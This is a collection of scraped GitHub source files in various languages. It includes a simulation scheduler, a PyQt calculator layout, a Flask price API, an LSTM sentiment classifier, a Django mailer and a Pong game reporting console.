season:\r\n print(f'リストに発見しました: {season}')\r\n break\r\nelse:\r\n print('リストにはありませんでした')","repo_name":"catalyst-yuki-k/python_sample","sub_path":"Control_flow/for_break_sample.py","file_name":"for_break_sample.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8056933370","text":"# The United States Environmental Protection Agency through its Office of\n# Research and Development has developed this software. The code is made\n# publicly available to better communicate the research. All input data\n# used fora given application should be reviewed by the researcher so\n# that the model results are based on appropriate data for any given\n# application. This model is under continued development. The model and\n# data included herein do not represent and should not be construed to\n# represent any Agency determination or policy.\n#\n# This file was written by Dr. Namdi Brandon\n# ORCID: 0000-0001-7050-1538\n# August 14, 2017\n\n\"\"\"\nThis module contains code that is is responsible for controlling the scheduler for the simulation. Note \\\nthat the simulation does **not** run continuously in from one adjacent time step to the next. Instead the \\\nsimulation jumps forward in time (i.e. move across multiple time steps in time), stopping only at time steps \\\nin which an action could occur. The ability to jump forward in time is controlled by the scheduler.\n\nThe scheduler will trigger the simulation to stop skipping time steps for the following reasons:\n\n#. an activity should start\n#. an activity should end\n#. a need is under threshold\n\nThis module contains class :class:`scheduler.Scheduler`.\n\n.. moduleauthor:: Dr. Namdi Brandon\n\"\"\"\n\n# ===============================================\n# import\n# ===============================================\n\n# general math capability\nimport numpy as np\n\n# agent-based model module\nimport need\n\n# ===============================================\n# class Scheduler\n# ===============================================\n\nclass Scheduler(object):\n\n \"\"\"\n This class contains the code for the scheduler. The scheduler is in charge of jumping forward in time and \\\n stopping at only potentially relevant time steps. The scheduler keeps track of the needs for every person in \\\n in the household and stops at time steps where any person should have an action / need that needs to be \\\n addressed.\n \n \n :param temporal.Temporal clock: the time\n :param int num_people: the number of people in the household\n \n :var temporal.Temporal clock: the time\n :var numpy.ndarray A: the schedule matrix of dimension (number of people x number of needs). This matrix \\\n contains the times [minutes, universal time] that the simulation should not skip over\n :var int dt: the duration of time between events\n :var int t_old: the time [minutes, universal time] of the prior event\n :var bool do_minute_by_minute: this flag controls whether the schedule should either \\\n go through time minute by minute (if True) or jump forward in time (if False). The default \\\n is to jump forward in time\n \"\"\"\n\n def __init__(self, clock, num_people, do_minute_by_minute=False):\n\n self.clock = clock\n\n # the times when a need should be threshold in absolute time or an activity ends\n self.A = np.inf * np.ones( (num_people, need.N) )\n\n # the duration of time between events\n self.dt = 0\n\n self.t_old = self.clock.t_univ\n\n # This flag controls whether the schedule should either go through time minute by minute \\\n # or jump forward in time (if False)\n self.do_minute_by_minute = do_minute_by_minute\n\n return\n\n def get_next_event_time(self):\n\n \"\"\"\n This function searches the schedule matrix and finds the next time that that model should handle.\n \n .. note::\n This function is only capable of handling **single-occupancy** households.\n \n :return: the next time [minutes, time of day] that the model should address\n :rtype: int\n \"\"\"\n\n # the current time\n t_now = self.clock.t_univ\n\n # get the minimum time per person (minimum time for each row)\n num_people = self.A.shape[0]\n\n # the data for times that are the minimum times\n A = self.A\n\n if (num_people == 1):\n\n # find the relevant indices\n # i.e. get indices of times greater than the current time\n idx = A > t_now\n\n #\n # move minute by minute\n #\n if self.do_minute_by_minute:\n t_next = t_now + 1\n\n #\n # jump forward in time\n #\n else:\n\n # if there is a time greater than the current time\n if idx.any():\n # get the next event time\n t_next = np.min(A[idx])\n\n else:\n # nothing scheduled should happen, increase the time by 1\n t_next = t_now + 1\n\n # this makes sure that we do not stay in a time loop\n if (t_next == t_now):\n t_next = t_now + 1\n\n #\n # update the old scheduled event times\n #\n A[idx == False] = t_next\n\n else:\n print('\\nscheduler.get_next_event_time() is NOT calibrated for populations greater than 1!\\n\\n')\n t_next = t_now + 1\n\n # update the duration until the next activity from now\n self.dt = t_next - t_now\n\n # update the prior event to be the current time\n self.t_old = t_now\n\n return t_next\n\n def toString(self):\n\n \"\"\"\n This function presents the Scheduler object as a string.\n \n :return: a string representation of the object\n \"\"\"\n\n msg = ''\n msg = msg + 'dt: %d\\n' % self.dt\n msg = msg + 't_old: %d\\n' % self.t_old\n\n return msg\n\n def update(self, id_person, id_need, dt):\n\n \"\"\"\n This function updates the schedule matrix for a given person and need with the duration for the next event, \\ \n for the respective person-need combination.\n \n :param int id_person: the person identifier\n :param int id_need: the need identifier \n :param int dt: the duration to the next event \n :return: None \n \"\"\"\n\n self.A[id_person, id_need] = self.clock.t_univ + dt\n\n return","repo_name":"HumanExposure/AgentBasedModel","sub_path":"source/scheduler.py","file_name":"scheduler.py","file_ext":"py","file_size_in_byte":6170,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"54"} +{"seq_id":"9872594601","text":"import sys\nfrom PyQt5.QtWidgets import QWidget, QGridLayout, QPushButton, QApplication\n\nclass Example(QWidget):\n def __init__(self):\n super().__init__() # возвращает родительский объект Example c классом\n self.initUI()\n\n def initUI(self):\n grid = QGridLayout()\n self.setLayout(grid) # устанавливаем главный макет окна\n\n names = ['Cls', 'Bck', '', 'Close',\n '7', '8', '9', '/',\n '4', '5', '6', '*',\n '1', '2', '3', '-',\n '0', '.', '=', '+']\n positions = [(i, j) for i in range(5) for j in range(4)]\n for position, name in zip(positions, names):\n if name == '':\n continue\n button = QPushButton(name)\n grid.addWidget(button, *position) # создаются и добавляются кнопки к макету\n\n self.move(300, 150)\n self.setWindowTitle('Calculator')\n self.show()\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = Example()\n sys.exit(app.exec_())","repo_name":"snchzzero/PyQt5_lessons","sub_path":"lessons_3/Ex_3.3_QGridLayout.py","file_name":"Ex_3.3_QGridLayout.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"21842080470","text":"# coding=utf-8\nfrom flask import Flask, request\nimport mmm # 导入爬虫模块\n\n# 初始化 Flask 实例\napp = Flask(__name__)\n\n\n# 注册路由,并只允许 HTTP POST 方式\n@app.route('/', methods=['POST'])\ndef index():\n # 判断请求参数是否是json\n if not request.is_json:\n return {'code': 10001,\n 'msg': '请求参数类型错误',\n 'data': None, }\n # 判断字段是否存在于请求参数中\n p = request.get_json()\n if 'url' not in p.keys() or 'is_short_url' not in p.keys():\n return {'code': 10001,\n 'msg': '字段不存在',\n 'data': None, }\n # 判断字段是否空值\n if p['url'] == '':\n return {'code': 10001,\n 'msg': '字段非法',\n 'data': None, }\n url = p['url']\n if p['is_short_url']:\n url = mmm.get_real_url(short_url=url)\n # 获取商品历史价格\n json_data = mmm.get_data(url=url)\n # 获取失败\n if json_data is None:\n return {\n 'code': 10002,\n 'msg': '请求发生错误',\n 'data': None,\n }\n # 获取成功\n return {\n 'code': 0,\n 'msg': '请求成功',\n 'data': json_data,\n }\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5000, debug=False)\n","repo_name":"gendseo/history-price-manmanbuy","sub_path":"spider/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"zh","doc_type":"code","stars":12,"dataset":"github-code","pt":"54"} +{"seq_id":"14517105564","text":"# What is the 10001st prime number?\n\nimport _first_five\n\ncounter = 0\nnum = 2\nprime = 2\n\nwhile counter < 10001:\n if _first_five.isPrime(num):\n counter = counter + 1\n prime = num\n\n num += 1\n\nprint(prime) #104743\n","repo_name":"roltschj/project-euler-solutions","sub_path":"7-10001st-prime.py","file_name":"7-10001st-prime.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"446813024","text":"'''\n순열 (교재 31p)\n\n최대 자릿수: 6자리, 최대 교환 횟수: 10qjs\n'''\nimport sys\nsys.stdin = open('../input.txt', 'r')\n\ndef perm(cnt):\n global max_v\n\n # 종료 조건 : 교환 횟수를 다 사용 했다면 최대 상금 구하기\n if cnt == c:\n t = int(''.join(nums))\n max_v = max(max_v, t)\n return\n\n # 재귀 호출\n # 교환 횟수가 남아있다면? 카드 바꾸기\n # 이 문제에서는 동일한 위치에서 중복 교환을 허용하기 때문에\n # 자리 위치 2개(i, j)를 교환 마다 새로 정해 주어야 한다.\n for i in range(len(nums)-1):\n for j in range(i+1, len(nums)):\n nums[i], nums[j] = nums[j], nums[i]\n perm(cnt + 1)\n nums[i], nums[j] = nums[j], nums[i]\n\n\nT = int(input())\nfor tc in range(1, T+1):\n max_v = 0\n nums, c = input().split()\n nums = list(nums)\n c = int(c)\n\n # 결국 순열의 경우의 수와 같다\n # 자리르 바꾸는 횟수가 순열의 길이보다 더 커봤자 어차피 중복\n if c > len(nums):\n c = len(nums)\n perm(0)\n print(f'#{tc} {max_v}')","repo_name":"ddingdu/Python_Algorithm","sub_path":"알고리즘/23.03.28/최대 상금.py","file_name":"최대 상금.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"25345270232","text":"import numpy as np\nimport scipy.ndimage\nimport util\nfrom load.NPYDataGenerator import NPYDataGenerator\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nimport random\nimport glob\nimport os\nfrom tqdm import tqdm\n\n\n############################\n# build patternNet dataset #\n############################\n\n\ndef make_train_data(train_data, train_dir):\n print(\"making train sets...\")\n data = iter(train_data)\n for i, batch in tqdm(enumerate(data)):\n\n print(batch[0].shape)\n for j, val in enumerate(batch[0]):\n img = Image.fromarray(np.uint8(val))\n # pair[1] = img.resize([64,64])\n fname = train_dir + \"\\pair_{}.npy\".format(i+j)\n\n with open(fname, \"wb\") as f:\n np.save(f, img)\n np.save(f, img.resize([64,64]))\n\ndef make_train_data(test_data, test_dir):\n print(\"making test sets...\")\n data = iter(test_data)\n for i, batch in tqdm(enumerate(data)):\n for j, val in enumerate(batch[0]):\n img = Image.fromarray(np.uint8(val))\n # pair[1] = img.resize([64,64])\n fname = test_dir + \"\\pair_{}.npy\".format(i+j)\n\n with open(fname, \"wb\") as f:\n np.save(f, img)\n np.save(f, img.resize([64,64]))\n\ndef show_sample(train_dir, test_dir):\n train_sample = glob.glob(train_dir+\"\\*\")\n train_sample = train_sample[random.randint(0, len(train_sample))]\n test_sample = glob.glob(test_dir + \"\\*\")\n test_sample = test_sample[random.randint(0, len(test_sample))]\n fig, ax = plt.subplots(2,2)\n with open(train_sample, \"rb\") as f:\n hr = np.load(f)\n lr = np.load(f)\n ax[0,0].imshow(hr)\n ax[0,1].imshow(lr)\n ax[0,0].set_title(\"hr, train\")\n ax[0,1].set_title(\"lr, train\")\n\n with open(test_sample, \"rb\") as f:\n hr = np.load(f)\n lr = np.load(f)\n ax[1,0].imshow(hr)\n ax[1,1].imshow(lr)\n ax[1,0].set_title(\"hr, test\")\n ax[1,1].set_title(\"lr, test\")\n\n plt.tight_layout()\n plt.show()\n\n\"\"\"usage example\"\"\"\ntrain_data = NPYDataGenerator(r\"C:\\Users\\Noah Barrett\\Desktop\\School\\Research 2020\\data\\deep_learning\\PatternNet\\TRAIN\\NPY\",\n labels=util.PNET_LABELS)\ntest_data = NPYDataGenerator(r\"C:\\Users\\Noah Barrett\\Desktop\\School\\Research 2020\\data\\deep_learning\\PatternNet\\TEST\\NPY\",\n labels=util.PNET_LABELS)\n\ntrain_dir = r\"C:\\Users\\Noah Barrett\\Desktop\\School\\Research 2020\\data\\deep_learning\\PatternNet\\TRAIN\\super_res_NPY\"\ntest_dir = r\"C:\\Users\\Noah Barrett\\Desktop\\School\\Research 2020\\data\\deep_learning\\PatternNet\\TEST\\super_res_NPY\"\n#make_train_data(test_data, test_dir)\n\nshow_sample(train_dir, test_dir)\n","repo_name":"NoahBarrett98/DL_Learning","sub_path":"load/UpSample.py","file_name":"UpSample.py","file_ext":"py","file_size_in_byte":2710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2484305165","text":"import tensorflow as tf\nimport numpy as np\nimport pandas as pd\nimport re\n\ntrain_path = '../input/train.tsv'\ntest_path = '../input/test.tsv'\nword_vec = '../input/glove6b/glove.6B.200d.txt'\n\n\n#train_path = 'data/train.tsv'\n#test_path = 'data/test.tsv'\n#word_vec = 'data/glove.6B.100d.txt'\n\n# ---- load training dataset ----\nclass data_tool(object):\n\n def __init__(self, train_path, test_path):\n self.train_path = train_path\n self.test_path = test_path\n\n # training set\n self.train = pd.read_table(train_path, sep=\"\\t\")\n self.train_x = [self.str_clean(i) for i in self.train['Phrase']]\n\n self.train_y = [[0] * 4 for i in range(self.train.shape[0])]\n _ = [self.train_y[i].insert(j, 1) for i, j in enumerate(self.train['Sentiment'])]\n self.train_y = np.array(self.train_y)\n\n # test set\n self.test = pd.read_table(test_path, sep='\\t')\n self.test_x = [self.str_clean(i) for i in self.test['Phrase']]\n\n # build corpus\n self.max_length, self.vocab_dict = self.word_corpus(self.train_x + self.test_x)\n\n # Tokenize, convert text to a list of integers\n self.train_x = self.text2index(self.train_x, self.vocab_dict, self.max_length)\n self.test_x = self.text2index(self.test_x, self.vocab_dict, self.max_length)\n\n def word_corpus(self, text_x):\n # Tokenize words\n vocab_dict = {word: index + 1 for index, word in enumerate(set(' '.join(text_x).split()))}\n\n # maximum sequence length\n max_sequence_length = len(max([i.split() for i in text_x], key=len))\n return max_sequence_length, vocab_dict\n\n def text2index(self, text, vocab_dict, maximum_length):\n \"\"\"\n tokenization\n \"\"\"\n text = [i.split() for i in text]\n tmp = np.zeros(shape=(len(text), maximum_length))\n for i in range(len(text)):\n for j in range(len(text[i])):\n tmp[i][j] = vocab_dict.get(text[i][j], 0)\n return tmp\n\n def str_clean(self, string):\n \"\"\"\n Tokenization/string cleaning forn all dataset except for SST.\n Original taken from https://github.com/yoonkim/CNN_sentence/blob/master/process_data.py\n \"\"\"\n return string\n string = re.sub(r\"[^A-Za-z0-9(),!?\\'\\`]\", \" \", string)\n string = re.sub(r\"\\'s\", \" \\'s\", string)\n string = re.sub(r\"\\'ve\", \" \\'ve\", string)\n string = re.sub(r\"n\\'t\", \" n\\'t\", string)\n string = re.sub(r\"\\'re\", \" \\'re\", string)\n string = re.sub(r\"\\'d\", \" \\'d\", string)\n string = re.sub(r\"\\'ll\", \" \\'ll\", string)\n string = re.sub(r\",\", \" , \", string)\n string = re.sub(r\"!\", \" ! \", string)\n string = re.sub(r\"\\(\", \" \\( \", string)\n string = re.sub(r\"\\)\", \" \\) \", string)\n string = re.sub(r\"\\?\", \" \\? \", string)\n string = re.sub(r\"\\s{2,}\", \" \", string)\n return string.strip().lower()\n\n # generate batches of data to train\n def generate_batches(self, data, epoch_size, batch_size, shuffle=False):\n data = np.array(data)\n\n data_size = len(data)\n\n num_batches = data_size // batch_size + 1\n\n for i in range(epoch_size):\n if shuffle:\n shuffle_indices = np.random.permutation(np.arange(data_size))\n shuffled_data = data[shuffle_indices]\n else:\n shuffled_data = data\n\n for j in range(num_batches):\n start_index = j * batch_size\n end_index = min((j+1) * batch_size, data_size)\n yield shuffled_data[start_index:end_index]\n\n def save_data(self, result):\n test_data = pd.read_table(test_path, sep='\\t')\n test_data['Sentiment'] = result.reshape(-1).tolist()\n test_data = test_data.loc[:, ['PhraseId', 'Sentiment']]\n print(test_data)\n test_data.to_csv(\"sample_submission.csv\", index=False)\n\n\n# --- build RNN model ----\nclass TextRNN(object):\n\n def __init__(self, sequence_length, embedding_size, lstm_size, vocabulary_size, num_classes, word_vec=None):\n self.sequence_length = sequence_length\n self.embedding_size = embedding_size\n\n self.vocabulary_size = vocabulary_size\n\n # define placeholders for input and label\n self.input_x = tf.placeholder(tf.int32, [None, sequence_length], 'input_x')\n self.input_y = tf.placeholder(tf.int32, [None, num_classes], 'labels')\n self.keep_prob = tf.placeholder(tf.float32, name='keep_prob')\n self.real_seq_length = tf.placeholder(tf.float32, [None], name='name_seq_length')\n\n # embedding\n with tf.name_scope(\"embedding\"):\n if word_vec:\n W = tf.get_variable(\"embedding_W\", dtype=tf.float32,\n initializer=word_vec)\n else:\n W = tf.get_variable(\"embedding_W\", dtype=tf.float32,\n initializer=tf.truncated_normal(shape=[vocabulary_size, embedding_size], stddev=0.1))\n\n self.embedded_char = tf.nn.embedding_lookup(W, self.input_x, name='embedded_vectors')\n # self.embedded_char_tr = tf.transpose(self.embedded_char,perm=[1, 0 ,2])\n\n # RNN\n with tf.name_scope(\"RNN\"):\n self.cell = tf.contrib.rnn.BasicLSTMCell(lstm_size)\n self.cell = tf.contrib.rnn.DropoutWrapper(self.cell,\n output_keep_prob=self.keep_prob)\n self.outputs, self.states = tf.nn.dynamic_rnn(self.cell, self.embedded_char,\n sequence_length=self.real_seq_length,\n dtype=tf.float32)\n\n # linear transformation\n with tf.name_scope(\"linear\"):\n W = tf.get_variable('output_W', shape=[lstm_size, num_classes],\n initializer=tf.contrib.layers.xavier_initializer())\n\n b = tf.Variable(initial_value=tf.constant([0.1] * num_classes), name='output_bias')\n self.scores = tf.nn.xw_plus_b(self.states[-1], W, b, name='scores')\n self.outputs = tf.argmax(self.scores, axis=1, name='output')\n\n # loss and accuracy\n with tf.name_scope(\"loss_accuracy\"):\n losses = tf.nn.softmax_cross_entropy_with_logits(logits=self.scores, labels=self.input_y)\n self.loss = tf.reduce_mean(losses)\n self.accuracy = tf.reduce_mean(tf.cast(tf.equal(self.outputs, tf.argmax(self.input_y, axis=1)), \"float\"))\n\n\nclass Training(data_tool, TextRNN):\n\n def __init__(self):\n self.epoch_size = 7\n self.batch_size = 128\n print(\"init data..\")\n data_tool.__init__(self, train_path=train_path, test_path=test_path)\n\n with tf.Graph().as_default():\n sess = tf.Session()\n with sess.as_default():\n print(\"init model..\")\n TextRNN.__init__(self, sequence_length=self.max_length,\n embedding_size=200, num_classes=5,\n lstm_size=128, vocabulary_size=self.vocab_dict.keys().__len__())\n\n global_step = tf.Variable(0, name='global_step', trainable=False)\n\n self.saver = tf.train.Saver()\n\n optimizer = tf.train.AdamOptimizer(0.001)\n grads_and_vars = optimizer.compute_gradients(self.loss)\n train_op = optimizer.apply_gradients(grads_and_vars, global_step)\n\n # get real_length\n def real_length(batches):\n return np.ceil([np.argmin(batch.tolist()+[0]) for batch in batches])\n\n # initialize variable\n sess.run(tf.global_variables_initializer())\n\n # generate batches\n batches_all = self.generate_batches(list(zip(self.train_x, self.train_y)), epoch_size=self.epoch_size,\n batch_size=self.batch_size, shuffle=True)\n total_amount = (len(self.train_x) // self.batch_size + 1) * self.epoch_size\n for i, batch in enumerate(batches_all):\n batch_x, batch_y = zip(*batch)\n loss, _, accuracy, step = sess.run([self.loss, train_op, self.accuracy, global_step],\n feed_dict={self.input_x: batch_x,\n self.input_y: batch_y,\n self.keep_prob: 0.2,\n self.real_seq_length: real_length(batch_x)})\n print(\"Currently at batch {}/{}\".format(i, total_amount), \"The loss is %f\" % loss)\n if i % 100 == 0:\n print(\"current batch accuracy is:\", accuracy)\n self.saver.save(sess, \"/tmp/model1.ckpt\", global_step=i)\n\n # start testing training\n data_size = len(self.test_x)\n result = []\n for i in range(data_size // 500):\n tmp = self.test_x[i * 500:(i + 1) * 500]\n result.append(sess.run(self.outputs, feed_dict={self.input_x: tmp,\n self.keep_prob: 1.0,\n self.real_seq_length: real_length(tmp)}\n ))\n tmp = self.test_x[(i+1)*500:]\n result.append(sess.run(self.outputs, feed_dict={self.input_x: self.test_x[(i + 1) * 500:],\n self.keep_prob: 1.0,\n self.real_seq_length: real_length(tmp)}))\n self.result = np.concatenate(result, axis=0)\n\n self.save_data(self.result)\n\nif __name__ == '__main__':\n train_ = Training()\n","repo_name":"sajedjalil/Data-Science-Pipeline-Detector","sub_path":"dataset/movie-review-sentiment-analysis-kernels-only/Yikang Yang/lstm-baseline-tf.py","file_name":"lstm-baseline-tf.py","file_ext":"py","file_size_in_byte":10036,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"54"} +{"seq_id":"13919731886","text":"from django.core.mail import EmailMessage, send_mail\n#from django.conf import settings\nfrom django.template.loader import render_to_string\nfrom smtplib import SMTPException\nfrom django.template.loader import get_template\nfrom django.core.mail import EmailMessage\n\ndef render_and_il(subject, recipient_list, placeholders, template_name):\n sender ='chivestsai@gmail.com'\n plaintext = get_template(f'{template_name}.txt').render(placeholders)\n html = get_template(f'{template_name}.html').render(placeholders)\n send_mail(subject, plaintext, sender, recipient_list, html_message=html)\ndef send_success_email(receiver_email,receiver_name):\n subject = \"在這重要的日子,獻上誠摯的祝福!\"\n receiver_list = [receiver_email]\n content = {\n 'username':receiver_name,\n \n }\n template_name = 'new_year_letter'\n try:\n render_and_il(subject,receiver_list,content,template_name)\n except Exception as e:\n print(e)\n\nif __name__ == '__main__':\n send_success_email('wade8204@gmail.com','Lee')","repo_name":"remember-improvement/questionnaire","sub_path":"new_year/common/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7236069051","text":"from admin_archivos import devolver_nombre\nimport os\n\n\ndef limpiar():\n os.system(\"cls\")\n print(\"---------consola de informes:--------\\n\")\n\n\ndef borrar_salto(contenido):\n for char in \"\\n\":\n contenido=contenido.replace(char,\"\")\n return str(contenido)\n\ndef cont_con_long(longitud_del_segmento,contenido):\n lista=contenido+(\" \"*(longitud_del_segmento-len(contenido)))\n return lista\n\ndef borrar_car_exedente(contenido):\n for char in \"_\":\n contenido=contenido.replace(char,\"\")\n return str(contenido)\n\ndef dev_nom_x_id(id_jugador):\n archivo = open(\"jugador.txt\",\"r\")\n linea = archivo.readline()\n lista = linea.split(\",\")\n while linea !=\"\":\n if lista[0] == str(id_jugador):\n return borrar_car_exedente (lista[1])\n linea = archivo.readline()\n lista = linea.split(\",\")\n archivo.close()\n\ndef devolver_id_jugador(nombre):\n archivo=open(\"jugador.txt\",\"r\")\n lineas = archivo.readline()\n while lineas!=\"\":\n lista=lineas.split(\",\")\n lineas = archivo.readline()\n dato=lista[1]\n dato= dato[0:len(dato)-1]\n if nombre==dato:\n return lista[0]\n archivo.close()\n\ndef verificar_nom_jugador(nombre):\n archivo = open(\"jugador.txt\",\"r\")\n linea = archivo.readline()\n while linea !=\"\":\n lista = linea.split(\",\")\n if str(nombre) == borrar_salto(lista[1]):\n archivo.close()\n return True\n linea = archivo.readline()\n archivo.close()\n return False\n\ndef records(matriz):\n lon = len(matriz)-1\n for k in range (lon):\n for x in range (lon-k):\n if int(borrar_car_exedente(matriz[x][3]))0:\n puntero = 74*(reg_anterior-1)\n archivo.seek(puntero)\n linea= archivo.readline()\n lista = linea.split(\",\")\n matriz.append(lista)\n reg_anterior = int(borrar_car_exedente(lista[7]))\n continuar = borrar_salto(borrar_car_exedente(lista[8]))\n if continuar == \"0\":\n cont = False\n archivo.close()\n limpiar()\n print(f\"Nombre: {nombre} ID:{borrar_car_exedente(matriz[0][1])}\")\n print(\"___________________________________________________________________________\")\n print(\"nº partida|col raqueta1|col raqueta2|total col| fecha |Puntos|\")\n print(\"___________________________________________________________________________\")\n for x in range(len(matriz)):\n print(f\"| {cont_con_long(5,borrar_car_exedente(matriz[x][0]))}| {cont_con_long(6,borrar_car_exedente(matriz[x][4]))}| {cont_con_long(6,borrar_car_exedente(matriz[x][5]))}| {cont_con_long(6,borrar_car_exedente(matriz[x][6]))}| {cont_con_long(18,borrar_car_exedente(matriz[x][2]))}| {cont_con_long(3,borrar_car_exedente(matriz[x][3]))}|\")\n print(\"___________________________________________________________________________\")\n puntos = records(matriz)\n print(f\"*Mejor partida: {borrar_car_exedente(puntos[0])} *Peor partida: {borrar_car_exedente(puntos[1])}\")\n op = input(\"presiones ENTER para volver al menu\")\n consola()\n\ndef informe_colisiones( num_partida, id_jugador):\n archivo = open(\"colisiones.txt\", \"r\")\n linea = archivo.readline()\n matriz = []\n while linea !=\"\":\n lista = linea.split(\",\")\n if str(num_partida) == borrar_car_exedente(lista[0]) and str(id_jugador)==borrar_car_exedente(lista[1]):\n while str(num_partida) == borrar_car_exedente(lista[0]):\n lista = linea.split(\",\")\n matriz.append(lista)\n linea = archivo.readline()\n archivo.close()\n else: \n linea = archivo.readline()\n archivo.close()\n limpiar()\n print(\"Informe de colisiones por partida: \")\n print(\"___________________________________\")\n print(f\"**usuario: {borrar_salto(dev_nom_x_id(id_jugador)).upper()} ** num de partida: {num_partida}\")\n print(\"--------------------------------------------------------------\")\n print(\"fecha |hora | eje x/ eje y| observacion |\")\n print(\"_________________________________________________\")\n for x in range(len(matriz)-1):\n print(f\"|{borrar_car_exedente( matriz[x][2])}| {cont_con_long(10, borrar_car_exedente( matriz[x][3]))}| {borrar_salto(borrar_car_exedente(matriz[x][4]))}|\")\n print(\"--------------------------------------------------\")\n o = input(\"presione ENTER para volver al menu\")\n consola()\n\ndef informe_total_colisiones_partida(num_partida,nombre_jugador):\n archivo = open(\"partida.txt\",\"r\")\n puntero = 74*(int(num_partida)-1)\n archivo.seek(puntero)\n linea = archivo.readline()\n lista = linea.split(\",\")\n print(\"*PUNTAJE POR COORENADAS: \\n\")\n print(f\"*Numero de partida: {num_partida}\\nnombrejugador: {nombre_jugador}\")\n print(\"______________________________________\")\n print(\"Objeto pala| pelota | Total Pje |\")\n print(\"______________________________________\")\n print(f\" 1 | {cont_con_long(6, borrar_car_exedente(lista[4]))} | {cont_con_long(6,borrar_car_exedente(lista[4]))}|\")\n print(\"______________________________________\")\n print(f\" 2 | {cont_con_long(6,cont_con_long(6, borrar_car_exedente(lista[5])))} | {cont_con_long(6,borrar_car_exedente(lista[5]))}|\")\n print(\"______________________________________\")\n op = input(\"presiones ENTER para volver al menu\")\n consola()\n\ndef rank_partidas():\n archivo = open(\"partida.txt\",\"r\")\n lista = archivo.readline()\n matriz = []\n while lista !=\"\":\n linea = lista.split(\",\")\n matriz.append(linea)\n lista = archivo.readline()\n ordenado = lista_records(matriz)\n archivo.close()\n limpiar()\n print(\"RANKING DE PARTIDAS: \")\n print(\"______________________________________________________________\\n\")\n print(\"cod usuario| nombre | total paleta 1| total paleta 2| Puntos| total colisiones\")\n print(\"--------------------------------------------------------------------------------------\")\n for x in range(len(ordenado)):\n print(f\" {cont_con_long(6, borrar_car_exedente(ordenado[x][1]))}| {cont_con_long(10,borrar_salto(dev_nom_x_id(borrar_car_exedente(ordenado[x][1]))))}| {cont_con_long(8, borrar_car_exedente(ordenado[x][4]))}| {cont_con_long(8, borrar_car_exedente(ordenado[x][5]))}| {cont_con_long(4, borrar_car_exedente(ordenado[x][3]))}| {cont_con_long(8, borrar_car_exedente(ordenado[x][6]))}|\")\n\n print(\"______________________________________________________________________________________\")\n print(f\"**mejor jugador: {borrar_car_exedente(ordenado[0][3])} **peor jugador: {borrar_car_exedente(ordenado[-1][3])}\")\n op = input(\"presiones ENTER para volver al menu\")\n consola()\n \n\ndef informe_anual(nombre_jugador,año):\n #creo la matriz para crear el informe anual\n dias=[]#matriz a modificar con los datos segun el dia ,el mes y el año\n sub_total=[]\n for x in range (30):#creo la matriz donde voy a cargar las fechas\n meses=[]\n sub=0\n sub_total.append(sub)\n for k in range (12):\n meses.append(\"|\"+cont_con_long(4,\"\"))\n dias.append(meses)\n matriz =[]\n long = os.path.getsize(\"partida.txt\")\n archivo = open(\"partida.txt\", \"r\")\n pos = 0\n cont = True\n while cont ==True:\n pos +=1 \n archivo.seek(long-74*pos)\n linea = archivo.readline()\n lista = linea.split(\",\")\n ref_id = devolver_id_jugador(nombre_jugador)\n if borrar_car_exedente(lista[1]) == ref_id:\n matriz.append(lista)\n reg_anterior = int(borrar_car_exedente(lista[7]))\n continuar = borrar_car_exedente(lista[8])\n while int(continuar) >0:\n puntero = 74*(reg_anterior-1)\n archivo.seek(puntero)\n linea= archivo.readline()\n lista = linea.split(\",\")\n matriz.append(lista)\n reg_anterior = int(borrar_car_exedente(lista[7]))\n continuar = borrar_salto(borrar_car_exedente(lista[8]))\n if continuar == \"0\":\n archivo.seek(puntero)\n linea= archivo.readline()\n lista = linea.split(\",\")\n matriz.append(lista)\n cont = False\n archivo.close()\n\n fecha = []\n M_por_año = []\n for x in range (len(matriz)):#creo una matriz con la fecha de cada registro\n #para usarla de manera paralela\n f = borrar_car_exedente(matriz[x][2])\n date = f.split(\"/\")\n fecha.append([date[0],date[1],date[2][0:4]])\n #voy a generar la matriz solo con los elementos que conincidan en el año\n if str(fecha[x][2]) == str(año):\n M_por_año.append([fecha[x][0],fecha[x][1], borrar_car_exedente(matriz[x][6])])\n\n #sumo los puntos de los eventos el mismo dia:\n acum = int(M_por_año[0][2])\n for x in range (len(M_por_año)-1):\n sub_total[(int(M_por_año[x][0]))-1] += int(M_por_año[x][2])\n \n if M_por_año[x][0]==M_por_año[x+1][0]:\n acum += int(M_por_año[x+1][2])\n else:\n dias[(int(M_por_año[x][0]))-1][(int(M_por_año[x][1]))-1]=\"|\"+cont_con_long(4,str(acum))\n acum = int(M_por_año[x+1][2])\n if x==(len(M_por_año))-2:\n acum = acum-int(M_por_año[-1][2])\n dias[(int(M_por_año[-1][0]))-1][(int(M_por_año[-1][1]))-1]=\"|\"+cont_con_long(4,str(acum))\n \n #saco el total de todos los impactos\n total = 0\n for x in range(len(sub_total)):\n total += sub_total[x]\n\n limpiar() \n cont = 0\n print(f\"NOMBRE: {nombre_jugador} AÑO: {año}\")\n print(\"*MESES: 1 2 3 4 5 6 7 8 9 10 11 12 | sub_total\")\n print(\"----------------------------------------------------------------------------------------------------------------------\")\n print(\"*Dias: | | | | | | | | | | | | | \")\n print(\"----------------------------------------------------------------------------------------------------------------------\")\n for x in range(len(dias)):\n cont +=1\n print(f\" {cont_con_long(4,str(cont))}{dias[x]}| {cont_con_long(5,str(sub_total[x]))}\")\n\n 